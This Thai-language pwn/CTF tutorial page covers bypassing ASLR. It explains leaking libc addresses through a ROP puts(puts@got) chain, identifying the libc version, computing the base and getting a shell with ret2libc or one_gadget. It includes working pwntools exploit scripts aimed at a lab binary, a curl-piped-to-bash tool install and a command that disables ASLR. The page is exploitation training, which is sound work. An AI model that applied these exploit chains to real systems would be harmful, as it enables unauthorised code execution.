คลัง
pwn

ASLR

ASLR (Address Space Layout Randomization) สุ่ม base address ของ stack, heap, และ shared libraries ทุกครั้งที่รัน ทำให้เดา address ของ gadget/ฟังก์ชันไม่ได้ การ bypass หลักคือ leak address จริงสักตัว แล้วคำนวณ base จาก offset ที่คงที่ บทนี้ลงลึกกลไก, การ leak, การหาเวอร์ชัน libc, การคำนวณ, และ one_gadget (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

IntermediateAdvanced#aslr#pwn#mitigation#leak#libc#libc-database#one-gadget#ctf

1. หลักการ — สุ่ม base แต่ offset คงที่

ก่อนมี ASLR libc/stack อยู่ address คงที่ทุกครั้ง เดาได้ง่าย ASLR สุ่ม base address ใหม่ทุก execution — system() จึงอยู่คนละที่ทุกครั้ง แต่จุดสำคัญคือ offset ภายใน library ยังคงที่ (เพราะทั้ง library ถูกโหลดเป็นก้อนเดียว เลื่อนทั้งก้อน) ดังนั้นถ้า leak address จริงของสิ่งใดสิ่งหนึ่งใน libc ได้ ก็คำนวณ base ได้ แล้วได้ address ของทุกอย่างใน libc นั้น

ASLR: base สุ่ม แต่ระยะภายในเท่าเดิม
run #1 run #2 base 0x7f..a000 base 0x7f..3000 puts +0x80e50 puts +0x80e50 system +0x50d60 system +0x50d60 offset เท่ากันทุก run leak puts → base = leak - 0x80e50 → system = base + 0x50d60
เนื้อหานี้เพื่อการศึกษาและฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab) เท่านั้น

2. Leak libc address

วิธี leak ที่พบบ่อยคือใช้ ROP เรียกฟังก์ชัน print (puts/printf) ให้พิมพ์ค่าใน GOT ของฟังก์ชันที่ resolve แล้ว — GOT เก็บ address จริงใน libc ดังนั้น puts(puts@got) จะพิมพ์ address จริงของ puts ออกมา

leak ด้วย ROP เรียก puts(puts@got)Linux
from pwn import *
elf = context.binary = ELF('./vuln')
p = process('./vuln')
rop = ROP(elf)

offset = 72
# เรียก puts(puts@got) เพื่อ leak address จริงของ puts แล้วกลับ main
rop.call('puts', [elf.got['puts']])
rop.call('main')                     # กลับมาส่ง payload รอบสอง

payload = b'A'*offset + rop.chain()
p.sendline(payload)

# รับ leak (6 byte address + padding)
p.recvline()
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f"puts @ {hex(leak)}")
leak ผ่าน format string ก็ได้ (ดู format-string); วิธี ROP puts(puts@got) เป็นมาตรฐานเมื่อมี buffer overflow

3. หาเวอร์ชัน libc (สำคัญมาก)

การคำนวณ base ต้องใช้ offset ที่ ตรงกับเวอร์ชัน libc ของเป้าหมาย ถ้าโจทย์ remote ไม่ให้ libc มา ต้องหาเวอร์ชันจาก leaked address (เลขท้าย 3 หลักของ address คงที่ต่อเวอร์ชัน)

libc-database / blukatLinux
# leak address ของ 2 ฟังก์ชัน (เช่น puts, printf) แล้วค้นเวอร์ชัน
# เว็บ: libc.blukat.me หรือ libc.rip — ใส่ชื่อ+เลขท้าย 3 หลัก

# local libc-database
git clone https://github.com/niklasb/libc-database
cd libc-database && ./get            # โหลด libc ทุกเวอร์ชัน (ครั้งแรก)
./find puts 850 printf 710           # ค้นจากเลขท้าย address
# ได้ชื่อ libc → ดาวน์โหลดมาใช้คำนวณ offset

# หรือ pwntools libcdb
# จาก leak: libc = ELF(libcdb.search_by_symbol_offsets({'puts': leak & 0xfff}))
เลขท้าย 3 หลัก (12 bit ล่าง) ของ address ไม่ถูกสุ่มโดย ASLR → ใช้ระบุเวอร์ชัน libc ได้

4. คำนวณ base และ exploit

คำนวณ libc base แล้ว ret2libc รอบสองLinux
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')            # เวอร์ชันที่ตรงกับเป้าหมาย
p = process('./vuln')

offset = 72
# ... (leak puts จาก section 2 ได้ค่า leak) ...
leak = u64(p.recvline().strip().ljust(8, b'\x00'))

# คำนวณ base: base = leaked - offset_ของ_symbol_นั้น
libc.address = leak - libc.symbols['puts']
log.success(f"libc base @ {hex(libc.address)}")

# ตอนนี้ได้ address จริงของทุกอย่าง
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))

# payload รอบสอง: system("/bin/sh")
rop = ROP(libc)
rop.call('system', [binsh])
p.sendline(b'A'*offset + rop.chain())
p.interactive()
libc.address = leak - libc.symbols['puts'] คือหัวใจ — หลังตั้ง .address แล้ว pwntools คำนวณ address อื่นให้อัตโนมัติ

5. one_gadget — ลัดสู่ shell

one_gadget หา 'magic gadget' ใน libc — address เดียวที่เรียกแล้วได้ execve("/bin/sh") ทันที (ถ้า constraint ตรง) ใช้แทน system("/bin/sh") เมื่อจัด argument ยาก เพราะแค่กระโดดไป address เดียว

one_gadgetLinux
# หา one_gadget ใน libc
one_gadget ./libc.so.6
# ได้หลาย address พร้อม constraints เช่น:
#   0xe3afe execve("/bin/sh", ...)  constraints: [rsp+0x50]==NULL

# ใช้ใน exploit: libc.address + one_gadget_offset
# payload = b'A'*offset + p64(libc.address + 0xe3afe)
# (ต้องเลือกตัวที่ constraint ตรงกับ state ตอนนั้น)
ลอง one_gadget หลายตัวจน constraint ตรง; ง่ายกว่าจัด argument system เมื่อ register state ไม่เอื้อ

6. หมายเหตุและทางลัด

  • ASLR สุ่มเฉพาะ base — offset ภายใน library คงที่ (หัวใจของการ bypass)
  • PIE คือ ASLR สำหรับตัว binary เอง (ดูหัวข้อ PIE)
  • stack/heap ก็สุ่ม — อย่า hardcode stack address เมื่อ ASLR เปิด
  • 32-bit: entropy ต่ำ อาจ brute-force ได้; 64-bit: ต้อง leak
  • ปิด ASLR ตอน debug: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space (เฉพาะ lab)
  • ต้องมี libc ตรงเวอร์ชัน — remote ไม่ให้ → libc-database จาก leak

7. Quick Reference

  • ASLR สุ่ม base ของ stack/heap/libc ทุก run; offset ภายในคงที่
  • leak 1 address → คำนวณ base → ได้ทุก address
  • leak: ROP puts(puts@got) หรือ format string
  • หาเวอร์ชัน libc: libc.rip / libc-database ./find จากเลขท้าย
  • คำนวณ: libc.address = leak - libc.symbols['puts']
  • exploit: ret2libc รอบสอง (system/binsh) หรือ one_gadget
  • 32-bit อาจ brute; 64-bit ต้อง leak

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติทำ ret2libc/ROP มาได้ครึ่งทางแล้วแต่ address ใน libc เปลี่ยนทุกครั้งที่รัน (ASLR เปิด) — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อ leak แล้วคำนวณ base

  1. 1เช็คว่า ASLR เปิดจริงไหม (lab เท่านั้น): cat /proc/sys/kernel/randomize_va_space (2 = เปิดเต็ม)
  2. 2หาวิธี leak: ใช้ ROP เรียก puts(puts@got) แล้ว rop.call('main') กลับมารับ input รอบสอง
  3. 3รับค่า leak ใน python: leak = u64(p.recvline().strip().ljust(8, b'\\x00'))
  4. 4เอาเลขท้าย 3 หลักของ leak (12 bit ล่างไม่ถูกสุ่ม) ไปค้นเวอร์ชัน libc
  5. 5เปิดเว็บ libc.rip หรือ libc.blukat.me ใส่ชื่อ symbol (เช่น puts) + เลขท้าย 3 หลัก
  6. 6หรือใช้ local libc-database: git clone https://github.com/niklasb/libc-database && cd libc-database && ./get
  7. 7ค้นด้วย ./find puts <เลขท้าย> ได้ชื่อไฟล์ libc → ดาวน์โหลดมาใช้
  8. 8คำนวณ base: libc.address = leak - libc.symbols['puts']
  9. 9ถ้าจัด argument ยาก ลอง one_gadget ./libc.so.6 หา address เดียวที่ execve('/bin/sh') ได้เลย
  10. 10ยิง ret2libc รอบสอง: rop.call('system', [binsh]) หรือกระโดดไป one_gadget address
จับมือทำ: bypass ASLR ด้วย leak + คำนวณ base
หาวิธี leak address ใน libc (ROP puts@got / format string)
✅ leak ได้ address จริง→ ระบุเวอร์ชัน libc
❌ ไม่มีช่องทาง leak เลย→ ตรวจว่ามี format string bug ไหม
หาเวอร์ชัน libc จากเลขท้าย 3 หลักของ leak
✅ เจอเวอร์ชันตรงจาก libc.rip/libc-database→ คำนวณ base แล้วเรียก system
❌ หาเวอร์ชันไม่เจอ→ ลอง leak เพิ่มอีก 1 ฟังก์ชันเพื่อยืนยันให้แม่นขึ้น
libc.address = leak - libc.symbols['puts']
✅ base ถูกต้อง (จัด arg เรียก system ได้)→ ได้ shell
❌ จัด argument ยาก/register ไม่เอื้อ→ ใช้ one_gadget แทน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
leak/สร้าง ROPpwntoolspip install pwntools-
ระบุเวอร์ชัน libc จาก leaklibc-database (git clone)git clone niklasb/libc-databaselibc.rip, libc.blukat.me
หา one_gadgetone_gadget (gem)gem install one_gadget-
debug ยืนยัน basegdb + gef/pwndbgbash -c "$(curl -fsSL https://gef.blah.cat/sh)"-
หา gadget สำหรับ ROP leakROPgadget / ropperpip install ropperropshell.com
patch binary ให้ใช้ libc เฉพาะpatchelfapt install patchelf-
ปิด ASLR ชั่วคราว (lab เท่านั้น)sysctl--
🚑 ถ้าตันสนิท ลองท่าถัดไป: (1) ret2libc — ขั้นตอนเต็มหลัง leak base ได้แล้ว (2) format-string — ถ้ายังไม่มีช่องทาง leak ให้หา printf bug ก่อน (3) pie — ถ้าตัว binary เองก็สุ่ม (PIE) ต้อง leak แยกอีกชุด (4) rop — ถ้าต้องสร้าง ROP chain ซับซ้อนขึ้นเพื่อ leak หรือเรียก system

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้